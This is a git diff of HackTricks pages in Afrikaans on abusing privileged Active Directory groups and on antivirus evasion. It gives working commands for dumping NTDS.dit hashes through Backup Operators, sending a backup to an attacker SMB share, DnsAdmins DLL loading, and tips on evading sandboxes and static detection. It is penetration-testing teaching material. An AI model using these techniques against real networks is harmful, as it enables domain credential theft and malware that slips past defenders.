Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,25 +1,32 @@
|
||||||
# Privileged Groups
|
# Bevoorregte Groepe
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Goed bekende groepe met administratiewe voorregte
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Administrators**
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||||
* **Domein Administrators**
|
Kry Toegang Vandag:
|
||||||
* **Enterprise Administrators**
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
|
## Bekende groepe met administratiewe voorregte
|
||||||
|
|
||||||
|
* **Administrateurs**
|
||||||
|
* **Domein Administrateurs**
|
||||||
|
* **Enterprise Administrateurs**
|
||||||
|
|
||||||
## Rekening Operateurs
|
## Rekening Operateurs
|
||||||
|
|
||||||
|
@ -31,11 +38,11 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
Adding new users is toegelaat, sowel as plaaslike aanmelding by DC01.
|
Adding new users is toegelaat, sowel as plaaslike aanmelding by DC01.
|
||||||
|
|
||||||
## AdminSDHolder-groep
|
## AdminSDHolder groep
|
||||||
|
|
||||||
Die **AdminSDHolder**-groep se Toegangsbeheerlisensie (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoë-privilege groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom.
|
Die **AdminSDHolder** groep se Toegangsbeheerlis (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoë-toegangs groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom.
|
||||||
|
|
||||||
'n Aanvaller kan dit benut deur die **AdminSDHolder**-groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker gee. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit outomaties binne 'n uur hersteld word weens die stelsel se ontwerp.
|
'n Aanvaller kan hiervan gebruik maak deur die **AdminSDHolder** groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker gee. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit binne 'n uur outomaties hersteld word weens die stelsel se ontwerp.
|
||||||
|
|
||||||
Opdragte om die lede te hersien en toestemmings te wysig sluit in:
|
Opdragte om die lede te hersien en toestemmings te wysig sluit in:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -67,7 +74,7 @@ Hierdie opdrag onthul dat `Server Operators` volle toegang het, wat die manipula
|
||||||
|
|
||||||
## Rugsteun Operateurs
|
## Rugsteun Operateurs
|
||||||
|
|
||||||
Lidmaatskap in die `Backup Operators` groep bied toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` privaathede. Hierdie privaathede stel vouer deurloop, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, met die gebruik van die `FILE_FLAG_BACKUP_SEMANTICS` vlag. Dit is nodig om spesifieke skripte vir hierdie proses te gebruik.
|
Lidmaatskap in die `Backup Operators` groep bied toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` privaathede. Hierdie privaathede stel vouer traversering, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, met die gebruik van die `FILE_FLAG_BACKUP_SEMANTICS` vlag. Dit is nodig om spesifieke skripte vir hierdie proses te gebruik.
|
||||||
|
|
||||||
Om groepslede te lys, voer uit:
|
Om groepslede te lys, voer uit:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -87,14 +94,14 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||||
Set-SeBackupPrivilege
|
Set-SeBackupPrivilege
|
||||||
Get-SeBackupPrivilege
|
Get-SeBackupPrivilege
|
||||||
```
|
```
|
||||||
3. Toegang tot en kopieer lêers van beperkte gidse, byvoorbeeld:
|
3. Toegang tot en kopieer lêers vanaf beperkte gidse, byvoorbeeld:
|
||||||
```bash
|
```bash
|
||||||
dir C:\Users\Administrator\
|
dir C:\Users\Administrator\
|
||||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||||
```
|
```
|
||||||
### AD Aanval
|
### AD-aanval
|
||||||
|
|
||||||
Direkte toegang tot die Domeinbeheerder se lêerstelsel maak die diefstal van die `NTDS.dit` databasis moontlik, wat alle NTLM hashes vir domein gebruikers en rekenaars bevat.
|
Direkte toegang tot die Domeinbeheerder se lêerstelsel stel die diefstal van die `NTDS.dit` databasis moontlik, wat alle NTLM-hashes vir domein gebruikers en rekenaars bevat.
|
||||||
|
|
||||||
#### Gebruik diskshadow.exe
|
#### Gebruik diskshadow.exe
|
||||||
|
|
||||||
|
@ -111,7 +118,7 @@ expose %cdrive% F:
|
||||||
end backup
|
end backup
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
2. Kopieer `NTDS.dit` van die skadu kopie:
|
2. Kopieer `NTDS.dit` van die skaduwee-kopie:
|
||||||
```cmd
|
```cmd
|
||||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||||
```
|
```
|
||||||
|
@ -130,8 +137,8 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||||
```
|
```
|
||||||
#### Gebruik wbadmin.exe
|
#### Gebruik wbadmin.exe
|
||||||
|
|
||||||
1. Stel NTFS-lêerstelsel op vir SMB-bediener op aanvaller masjien en kas SMB-akkrediteer op die teiken masjien.
|
1. Stel NTFS-lêerstelsel op vir SMB-bediener op die aanvaller masjien en kas SMB-akkrediteer op die teiken masjien.
|
||||||
2. Gebruik `wbadmin.exe` vir stelselsrugsteun en `NTDS.dit` onttrekking:
|
2. Gebruik `wbadmin.exe` vir stelselsrugsteun en `NTDS.dit` ekstraksie:
|
||||||
```cmd
|
```cmd
|
||||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||||
|
@ -143,7 +150,7 @@ Vir 'n praktiese demonstrasie, sien [DEMO VIDEO MET IPPSEC](https://www.youtube.
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
Lede van die **DnsAdmins** groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, dikwels gehos op Domein Beheerders. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal.
|
Lede van die **DnsAdmins** groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, wat dikwels op Domein Beheerders gehos is. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal.
|
||||||
|
|
||||||
Om lede van die DnsAdmins-groep te lys, gebruik:
|
Om lede van die DnsAdmins-groep te lys, gebruik:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -182,17 +189,17 @@ For more details on this attack vector, refer to ired.team.
|
||||||
Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit aan te pas om spesifieke opdragte of omgekeerde shells uit te voer. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting.
|
Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit aan te pas om spesifieke opdragte of omgekeerde shells uit te voer. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting.
|
||||||
|
|
||||||
### WPAD Record for MitM
|
### WPAD Record for MitM
|
||||||
DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word vir spoofing en die vang van netwerkverkeer.
|
DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word vir spoofing en om netwerkverkeer te vang.
|
||||||
|
|
||||||
### Event Log Readers
|
### Event Log Readers
|
||||||
Lede kan toegang verkry tot gebeurtenislogboeke, wat moontlik sensitiewe inligting soos platte wagwoorde of opdraguitvoeringsbesonderhede kan bevat:
|
Lede kan toegang tot gebeurtenislogboekke hê, wat moontlik sensitiewe inligting soos platte wagwoorde of opdraguitvoeringsbesonderhede kan bevat:
|
||||||
```powershell
|
```powershell
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||||
```
|
```
|
||||||
## Exchange Windows Permissies
|
## Exchange Windows Permissies
|
||||||
Hierdie groep kan DACLs op die domein objek wysig, wat moontlik DCSync voorregte kan toeken. Tegnieke vir voorregte-eskalasie wat hierdie groep benut, is in die Exchange-AD-Privesc GitHub repo gedetailleerd.
|
Hierdie groep kan DACLs op die domein objek wysig, wat moontlik DCSync bevoegdhede toeken. Tegnieke vir bevoegdheidstoename wat hierdie groep benut, is in die Exchange-AD-Privesc GitHub repo uiteengesit.
|
||||||
```powershell
|
```powershell
|
||||||
# List members
|
# List members
|
||||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||||
|
@ -211,9 +218,9 @@ Note: Hard link exploitation has been mitigated in recent Windows updates.
|
||||||
|
|
||||||
## Organisasie Bestuur
|
## Organisasie Bestuur
|
||||||
|
|
||||||
In omgewings waar **Microsoft Exchange** ontplooi is, hou 'n spesiale groep bekend as **Organisasie Bestuur** beduidende vermoëns. Hierdie groep het die voorreg om **toegang te hê tot die posbusse van alle domein gebruikers** en handhaaf **volledige beheer oor die 'Microsoft Exchange Veiligheidsgroepe'** Organisatoriese Eenheid (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat uitgebuit kan word vir voorreg eskalasie.
|
In omgewings waar **Microsoft Exchange** ontplooi is, hou 'n spesiale groep bekend as **Organisasie Bestuur** beduidende vermoëns. Hierdie groep het die voorreg om **toegang te hê tot die posbusse van alle domein gebruikers** en handhaaf **volledige beheer oor die 'Microsoft Exchange Security Groups'** Organisatoriese Eenheid (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat uitgebuit kan word vir voorreg eskalasie.
|
||||||
|
|
||||||
### Voorreg Exploitatie en Opdragte
|
### Voorreg Uitbuiting en Opdragte
|
||||||
|
|
||||||
#### Druk Operateurs
|
#### Druk Operateurs
|
||||||
Lede van die **Druk Operateurs** groep is toegerus met verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld by 'n Domein Beheerder**, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte te benut, veral as **`SeLoadDriverPrivilege`** nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om Gebruikersrekeningbeheer (UAC) te omseil.
|
Lede van die **Druk Operateurs** groep is toegerus met verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld by 'n Domein Beheerder**, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte te benut, veral as **`SeLoadDriverPrivilege`** nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om Gebruikersrekeningbeheer (UAC) te omseil.
|
||||||
|
@ -241,11 +248,11 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
|
||||||
Vir eksploitasiemetodes wat verband hou met **WinRM**, moet spesifieke dokumentasie geraadpleeg word.
|
Vir eksploitasiemetodes wat verband hou met **WinRM**, moet spesifieke dokumentasie geraadpleeg word.
|
||||||
|
|
||||||
#### Bediener Operateurs
|
#### Bediener Operateurs
|
||||||
Hierdie groep het toestemming om verskeie konfigurasies op Domeinbeheerders uit te voer, insluitend rugsteun- en herstelregte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word:
|
Hierdie groep het toestemming om verskeie konfigurasies op Domein Beheerders uit te voer, insluitend rugsteun en herstel regte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word:
|
||||||
```powershell
|
```powershell
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
## References <a href="#references" id="references"></a>
|
## Verwysings <a href="#references" id="references"></a>
|
||||||
|
|
||||||
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||||
* [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
* [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
||||||
|
@ -262,16 +269,23 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
|
||||||
|
Kry Toegang Vandag:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,21 +15,27 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||||
|
|
||||||
## **AV Evasie Metodologie**
|
## **AV Ontwyk Metodologie**
|
||||||
|
|
||||||
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
||||||
|
|
||||||
### **Statiese opsporing**
|
### **Statiese opsporing**
|
||||||
|
|
||||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
|
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappy naam, digitale handtekeninge, ikoon, checksum, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
|
||||||
|
|
||||||
* **Enkripsie**
|
* **Koding**
|
||||||
|
|
||||||
As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en uit te voer.
|
As jy die binêre kodeer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te ontsleutel en te laat loop.
|
||||||
|
|
||||||
* **Obfuskaasie**
|
* **Obfuskasie**
|
||||||
|
|
||||||
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
|
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
|
||||||
|
|
||||||
|
@ -41,17 +47,17 @@ As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge w
|
||||||
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
|
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasie kyk.
|
Ek beveel sterk aan dat jy hierdie [YouTube speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Ontwyking kyk.
|
||||||
|
|
||||||
### **Dinamiese analise**
|
### **Dinamiese analise**
|
||||||
|
|
||||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te omseil.
|
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskode se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te ontwyk.
|
||||||
|
|
||||||
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
||||||
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
||||||
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
|
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
|
||||||
|
|
||||||
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat.
|
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne Defender se sandbox, so jy kan jou program laat verlaat.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
